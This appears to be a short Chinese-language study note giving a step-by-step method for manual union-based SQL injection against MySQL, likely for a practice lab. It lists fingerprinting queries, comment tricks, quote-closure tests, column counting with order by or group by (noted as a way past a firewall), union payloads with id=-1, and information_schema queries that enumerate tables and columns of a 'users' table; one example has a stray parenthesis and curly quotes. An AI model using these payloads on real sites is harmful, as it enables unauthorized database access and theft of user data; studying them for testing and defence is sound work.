提示:
方法
- select database() #所在数据库
- select user() # root@localhost
- select version() #mysql 版本
- select @@datadir #mysql 所在路径
- select @@version_compile_os #所在系统
1.注释三种方式
--+
#
%23
————执行过程————
- 查看注入点类型 数字还是字符串
- 查看有几列
- 查看回显位
- 查库里面有几张表
一,查看注入点类型 数字还是字符串
例子:
test?id=1 and 1=2
如果是数字型 就会报错 因为 1不等于 2
and :同时满足
2.字符串需要查看闭合方式
' 单引号
" 双引号
')单引号 + 括号
")双引号 + 括号
二,查看有几列
两种方式
- order by 2 --+
- group by 2 --+
order by 2 --+ #
group by 2 --+ # order by 不能用的时候 可以越过防火强
三,查看回显位 union
/?id=-1' union select 1,2,3 --+
1.让前面id = -1(负一) 查询失败后 2. 就可以返回 union 后面的值
四,查一个库下面有几张表+几个列
先查表 在查列
- information_schema.columns 存放的是
所有库+表内列
的名称 - table_schema 存放的是
库名称
- table_name 存放的是
表名称
- column_name 存放的是
列名称
1.查当前库下面有几张表
(select group_concat(table_name) from information_schema.tables where table_schema = database())
例子
select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3 --+
2.查询表里面有几个列
(select group_concat(column_name ) from information_schema.columns where table_name = 'users')
例子
select 1,((select group_concat(column_name ) from information_schema.columns where table_name = ‘users’),3 --+